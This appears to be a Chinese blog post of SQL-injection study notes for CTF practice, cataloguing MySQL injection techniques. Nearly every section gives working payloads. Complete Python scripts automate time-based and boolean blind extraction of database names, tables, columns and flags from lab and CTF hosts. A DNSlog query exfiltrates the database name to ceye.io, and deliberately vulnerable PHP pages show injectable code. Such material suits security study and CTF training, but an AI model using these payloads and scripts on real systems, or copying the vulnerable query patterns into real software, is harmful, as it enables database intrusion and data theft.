SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令


Sql注入笔记

mysql基础知识

字符串截取函数

1
2
3
4
5
6
7
8
9
left(str,len)  //从左边开始截取len个字符

right(str,len) //从右边第index开始截取字符

substring(str,pos) //从左边index开始截取

substr(str, pos, len) //将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,ken) //截取str 从index开始,截取len的长度

字符串比较

1
2
3
4
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0

locate(subStr,string) :判断字符串(string)中是否包含另一个字符串(subStr),函数返回subStr在string中出现的位置。 如果字符串 string 包含 subStr locate(subStr,string) > 0. 如果字符串 string 不包含 subStr locate(subStr,string) = 0

字符串连接函数

1
2
3
4
5
concat(str1,str2) //将字符串首尾相连

concat_ws(separator,str1,str2) //将字符串用指定连接符连接

group_concat()//用于把多条数据一次注入出来

一些绕过注入的罕见函数

1
2
3
instr(str1,substr) //从子字符串中返回子串第一次出现的位置

lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

运算符

算术运算符

1
+ - * /

比较运算符

1
2
3
4
5
6
= <> != > <

(1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
(2)in //select '123' in ('12') => 0
(3)like(模糊匹配) //select '12345' like '12%' => true
(4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true

逻辑运算符

1
2
3
4
not或! 非  
AND 逻辑与 == &&
OR 逻辑或 == ||
XOR 逻辑异或 == ^

位运算符

1
2
3
4
5
6
& 按位与
| 按位或
^ 按位异或
! 取反
<< 左移
>>右移

注释符

1
2
3
# //单行注释符,url记得编码为%23
/**/
--+

常用函数

延时函数

1
2
sleep(duration) //暂停duration秒
benchmark(count,expr) //重复执行count次expr

编码函数

1
2
3
4
5
CONV(N,from_base,to_base) //N是要转换的数据,from_base是原进制,to_base是目标进制 
hex(num) //转化成16进制
unhex()
ord(str) //返回字符串第一个字符的ASCII 值
ascii(str) //返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

文件函数

1
2
?id=1' union select 1,2,load_file('/etc/init.d/httpd')  //读取文件
select xxoo into outfile '路径' //权限较高时可直接写文件

一些构造语句

条件语句

1
2
3
4
5
6
7
if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
case when....then....else...end
select case when (条件) then 代码1 else 代码 2 end
IFNULL()
NULLIF()

MAKE_SET(bits,str1,str2,…)//返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0,str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。例如,select make_set("1","a","b","c"); bits将转为二进制,1的二进制为0000 0001,倒过来为1000 0000,所以取str1(a),打印a

基本信息

1
2
3
4
5
6
7
8
9
user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
length(str) :返回字符串str的长度
information_schema //系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
SCHEMATA//储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
TABLES//储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
COLUMNS//储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

手工注入基本流程

MySQL >= 5.0
获取字段数

1
order by n

获取当前数据库名

1
select null,null,...,database()

获取数据库中的表

1
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()

获取表中的字段

1
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users

OX5 获取各个字段值

1
select null,group_concat(username,password) from users

注入类型

堆叠查询

来自于强网杯的第三届强网杯的一题
题目过滤了查询删除更新插入等语句

查看表名

1
http://117.78.39.172:31796/?inject=0';show tables;


查看字段

1
http://117.78.39.172:31796/?inject=0';desc `1919810931114514`;


查看数据

1
http://117.78.39.172:31796/?inject=0';show tables;SET @haha_test = CONCAT('S','ELECT * from `1919810931114514`');PREPARE pr2 FROM @haha_test;EXECUTE pr2 ;

[SUCTF 2019]EasySQL

后台sql语句如下

1
select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

时间盲注

时间盲注格式

1
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97),sleep(5),0)

get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding: utf-8 -*-
# @Author: ye1s
# @Date: 2019-01-15 16:21:36
# @Last Modified by: ye1s
# @Last Modified time: 2019-01-15 22:07:34
import requests
import time
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\""
url="http://61.10.10.128/sqli/Less-5/?id=1"
def getDbname():#爆数据库
result=""
payload="'and if((ascii(substr(database(),{0},1))={1}),sleep(5),0)%23"
for i in range(1,30):
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5: #页面判断语句记得修改
result +=char
print "dbname is:"+result
break
if "\"" == char:
return

def getTablename():#爆表名
result=""
payload="'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2}),sleep(5),0)%23"
for i in range(0,15):
tablename=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5:
tablename +=char
print "tablename is:"+tablename
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+tablename
if tablename.strip()=='':
return
print result
break
def getColumns(tablename):#爆列名
result=""
payload="'and if((ascii(substr((select column_name from information_schema.columns where table_name="+tablename+" limit {0},1),{1},1))={2}),sleep(5),0)%23"
for i in range(0,15):
columnname=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5:
columnname +=char
print tablename+"'columns is:"+columnname
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+columnname
print result
break
def getData(columnname,tablename):
result=""
payload="'and if(ascii(substr((select"+columnname+"from "+tablename+" limit {0},1),{1},1))={2}),sleep(5),5)%23"
for i in range(0,15):
data=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5:
data +=char
print "data is:"+data
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+data
print result
break
getDbname()

0x2post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
# @Author: yeSi
# @Date: 2019-01-16 10:03:42
# @Last Modified by: yeSi
# @Last Modified time: 2019-01-16 10:40:43
import time
import requests
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\""
url="http://61.10.10.128/sqli/Less-17/"
def getDbname():
result=""
for i in range(1,15):
print i
for char in chars:
startTime=time.time()
payload={
'uname':'admin',
'passwd':"' or 1=1 and if((ascii(substr(database(),{0},1))={1}),sleep(5),0) --+".format(i,ord(char)),
'submit':'Submit'
}
print char
print payload
res=requests.post(url=url,data=payload)
if time.time()-startTime>5:
result +=char
print "dbname is:"+result
break
if "\"" == char:
return
……
getDbname()

布尔盲注

0x1 布尔盲注语句

1
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

0x2 爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\""
url="http://61.10.10.128/sqli/Less-5/?id=1"
def getDbname():#爆数据库
result=""
payload="'and ascii(substr(database(),{0},1))={1}%23"
for i in range(1,30):
for char in chars:
newurl=url+payload.format(i,ord(char))
response=requests.get(newurl)
if "You are in" in response.content: #页面判断语句记得修改
result +=char
print "dbname is:"+result
break
if "\"" == char:
return

0x 爆表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
def getTablename():#爆表名
result=""
payload="'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2}%23"
for i in range(0,15):
tablename=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if "You are in" in response.content:
tablename +=char
print "tablename is:"+tablename
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+tablename
if tablename.strip()=='':
return
print result
break

0x 爆字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
def getColumns(tablename):
result=""
payload="'and ascii(substr((select column_name from information_schema.columns where table_name="+tablename+" limit {0},1),{1},1))={2}%23"
for i in range(0,15):
columnname=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if "You are in" in response.content:
columnname +=char
print tablename+"'columns is:"+columnname
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+columnname
print result
break

0x 爆数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
def getData(columnname,tablename):
result=""
payload="'and ascii(substr((select"+columnname+"from "+tablename+" limit {0},1),{1},1))={2}%23"
for i in range(0,15):
data=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if "You are in" in response.content:
data +=char
print "data is:"+data
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+data
print result
break

报错注入盲注

简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。

可参考此文章:http://www.plasf.cn/articles/spatial_functions_blind_inject.html

报错注入

0X1 floor()和rand()
原理:https://blog.csdn.net/qq_35544379/article/details/77453019

1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用错误信息得到当前数据库名*/

0X2 ExtractValue(有长度限制,最长32位)
原理: https://www.cnblogs.com/xishaonian/p/6250444.html

1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

0X3 UpdateXml(有长度限制,最长32位)
原理: https://www.jb51.net/article/125599.htm

1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

0X4 exp()
原理:https://www.cnblogs.com/lcamry/articles/5509124.html

1
and EXP(~(SELECT * from(select user())a))

0X5 geometrycollection()

1
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

0X6 polygon()

1
id =1 AND polygon((select * from(select * from(select user())a)b))

0X7 multipoint()

1
id = 1 AND multipoint((select * from(select * from(select user())a)b))

0X8 multilinestring()

1
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

0X9 linestring()

1
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

0X10 multipolygon()

1
id =1 AND multipolygon((select * from(select * from(select user())a)b))

注入方式

limit 注入

此方法适用于MySQL 5.x中,在limit语句后面的注入
详情可看: https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
注入姿势
报错注入

1
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间注入

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
header("Content-Type: text/plain; charset=utf-8");
require("mysql.class.php");
$mysql = new MySQL("test", "root", "root");

$users = $mysql->executeSQL("SELECT * FROM user where uid < 100 ORDER BY uid limit {$_GET['p']}, 10");
if($users){
$users = var_export($users, TRUE);
echo $users;
}else{
echo $mysql->lastError;
}

宽字节注入

详细可看:https://xz.aliyun.com/t/1719
在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子

1
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'

注入姿势:

1
id=%df'order by 1 %23

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$id = @$_GET['id'];

//id没有做 整形转换
if( !isset($id)|| empty($id) ){
exit('get.id 参数不能为空');
}

try{
//分别对应的是 地址,端口号,连接的数据库,编码
$dsn = "mysql:host=127.0.0.1; port=3306; dbname=test; charset=utf8";

//帐号
$user = 'root';

//密码
$psw ='root';

//连接到 MySQL
$pdo = new PDO($dsn,$user,$psw);

//准备执行的sql语句 start
$sql = 'select * from tdb_goods where goods_id ='."'{$id}'";
echo $sql;
echo '<br/>';
//准备执行的sql语句 end

//进行查询数据库出问题则报具体错误
$res = $pdo->query($sql) or var_dump($pdo->errorInfo());

$mon = $res->fetch(PDO::FETCH_ASSOC);
print_r( $mon );

} catch (Exception $e) {
print $e->getMessage();
exit();
}

?>

笛卡尔积注入

笛卡尔积是指在数学中,两个集合X和Y的笛卡尓积(Cartesian product),又称直积,表示为X × Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员。

payload

1
select * from admin where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);

你完全可以按照这个规律,从C后面加个逗号,写D,E等等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。

到浏览器实践一下,发现确实延迟了。

mysql约束攻击

详情看:https://ch1st.github.io/2017/10/19/Mysql%E7%BA%A6%E6%9D%9F%E6%94%BB%E5%87%BB/
出现在注册用户时,对用户名参数的多余空格没有过滤。利用了在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断。

1
2
3
4
create table user(id int primary key, user varchar(10),pwd varchar(20)); //创建一个表
insert into user values(1,'admin','123'); //插入数据
insert into user values(2,'admin ','123');
select length(user) from user; //查看数据长度

order by 注入

详细看http://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html
0x1 利用报错

1
2
3
4
5
6
7
8
9
利用regexp
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误

0x2 基于盲注

1
2
3
4
注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

0x3 sqlmap
sqlmap测试
在没有过滤的情况下是能够检测到注入的

测试样题
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
array_push($reslist, $row);
}

echo json_encode($reslist);

sql

1
2
3
4
5
6
create database sqlidemo;
use sqlidemo;
create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
insert into goods (name, price) values("apple", 10);
insert into goods (name, price) values("banana", 15);
insert into goods (name, price) values("peach", 20);

MD5注入

详细可看http://blog.lvguangfa.cn/ctf/135.html
当php中使用到 md5($str,true) 输出md5值时,二进制被HEXdecode后可能会包含例如’or 1#的字符,从而产生sql注入

先看php中的md5函数,它有两个参数string和raw。
第一个参数string是必需的,规定要计算的字符串。
第二个参数raw可选,规定十六进制或二进制输出格式:

TRUE - 原始 - 16 字符二进制格式
FALSE - 默认 - 32 字符十六进制数
注入姿势:

1
2
password=129581926211651571912466741651878684928  //T0Do#'or'8
password=ffifdyop //'or'6]!r,b

测试题目

1
2
3
4
5
6
7
8
9
10
<?php
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result = mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'Success';
}else{
echo 'Failure';
}
?>

insert、update和delete报错注入

传统insert、update和delete报错注入
新式MySQL Injection in Update, Insert and Delete
0x1 传统利用方式
0x 1.1 insert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
这里我们用updatexml来演示
使用逻辑运算符(and or xor && ||)
mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (5,'name' and updatexml(2,concat(0x7e,(version())),0) and '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'


使用算数运算符(+ – * /)
mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'*updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'



使用位运算符连接(| &)
mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'|updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

0x1.2 update

1
2
mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

0x1.3 delete

1
2
mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or '';
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

0x2 新式利用
语句格式

1
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

0x2.1 update

1
update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16, 10) where id='16';

0x2.2 Insert

1
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16, 10);

0x2.3 Limitations in MySQL 5.7

1
update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) where id=14;

二次注入

详细可看此文章:MySQL注入系列之二次注入(三)
测试代码
config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
mysql_connect('localhost', 'root', 'mysql');
mysql_select_db('sqlinject');
mysql_set_charset('utf-8');
if (!get_magic_quotes_gpc()){
if (!empty($_GET)){
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)){
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}

function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}
?>

reg.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
include "config.php";
if(!empty($_POST['submit'])){
$username = $_POST['username'];
$password = $_POST['password'];
$email = $_POST['email'];

$sql = "INSERT INTO `sqlinject`.`users` (`id`, `username`, `password`, `email`)
VALUE (NULL, '$username', '$password', '$email');";
$row = mysql_query($sql);
if ($row){
echo "注册成功";
} else {
echo "注册失败";
}
}
?>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<form action="" method="POST">
username<input type="text" name="username"><br/>
password<input type="text" name="password"><br/>
email<input type="text" name="email"><br/>
<input type="submit" name="submit" value="ok">
</form>

search.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
include "config.php";
if(!empty($_POST['submit'])){
$email = $_POST['email'];
$sql = "select * from users where email='{$email}'";
$row = mysql_query($sql);

if ($row){
$rows = mysql_fetch_array($row);
$username = $rows['username'];
$sql = "select * from users where username='$username'";
$row = mysql_query($sql) or die(mysql_error());
if ($row){
$rows = mysql_fetch_array($row);
echo $rows['username']."<br/>";
echo $rows['password']."<br/>";
echo $rows['email']."<br/>";
}
}
}
?>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<form action="" method="POST">
search email<input type="text" name="email"><br/>
<input type="submit" name="submit" value="ok">
</form>

dns注入

DNSLOG 注入 ¶
DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

dnslog 平台:http://ceye.io/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> use security;
Database changed

mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

sprintf注入

1,sprintf(),函数是php中的函数
2,作用是将格式化字符串写入变量中
3,函数形式为sprintf(format,arg1,arg2,arg++)

参数说明:

若%符号多于arg参数,则需要占位符,占位符格式为“%number$” 其中number表示该项与第几个arg匹配,如若与第一个匹配 则占位符为“%1$”

sprintf注入的原理就是:
我们用一个15种类型之外的 "\"来代替格式字符类型让函数替换为空,则“%1$\'”后面的单引号就能闭合前面的单引号 。
如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。

简单的说就是sprintf中%1$'会将\吃掉,导致’的逃逸。%后表示第几个参数,$表示参数类型。

还有一个sprintf漏洞的利用方式:%c起到了类似chr()的效果,将数字39转化为’,从而导致了sql注入。

例子:

1
2
3
4
5
6
7
<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo $sql ;
?>

结果

1
2
3
%1$\' and 1=1#
AND b='%1$\' and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

另一个例子:

1
2
3
4
5
6
7
<?php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
echo($sql."<br>");
$sql = sprintf ( $sql , $input2 );
echo $sql ;

结果:

1
2
SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s
SELECT * FROM foo WHERE bar IN (' ') OR 1 = 1 /* ') AND baz = 39

REGEXP注入分析

使用场景:

1
过滤了=、in、like

^若被过滤,可使用$来从后往前进行匹配

常用regexp正则语句:

1
2
3
regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

LIKE注入分析

like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。
1.like ‘s%’判断第一个字符是否为s

1
union select 1,database() like 's%',3 --+

2.like ‘se%’判断前面两个字符串是否为se

1
union select 1,database() like 'se%',3 --+

3.like ‘%sq%’ 判断是否包含se两个字符串

1
union select 1,database() like '%se%',3 --+

4.like ‘_____’判断是否为5个字符

1
union select 1,database() like '_____',3 --+

5.like ‘s____’ 判断第一个字符是否为s

1
union select 1,database() like 's____',3 --+

无列名注入

详情可看:https://zhuanlan.zhihu.com/p/98206699

1
select b from (select 1,2,3 as b union select * from admin)a;

例题1:

SWPUCTF 2019
发现数据库的报错信息,证明存在注入。

简单测试了一下,空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入。查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中mysql的 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名

也可以用 sys.schema_auto_increment_columns 来注表名

1
111'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

innodb_index_stats 和innodb_table_stats

1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

表名 ads 和 users

但是不知道列名,只能用无列名注入的方式,另外还过滤了反引号,用别名aaa来代替,payload:

1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select * from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

例题2:

MySQL堆叠注入预处理

PDO场景下的SQL注入探究:https://xz.aliyun.com/t/3950。

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为true时可能会造成堆叠注入。
如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false

1
new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

PDO分为模拟预处理和非模拟预处理。

模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

[SWPU2019]Web4

由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)') |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a=0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute test;
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import json
import time

def main():
url = '''http://d3f3678a-a060-4de9-a875-dc05ee50bd5d.node3.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
main()

mysql8新特性注入

详情可看此文章:https://www.anquanke.com/post/id/231627

作用:列出表中全部内容

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
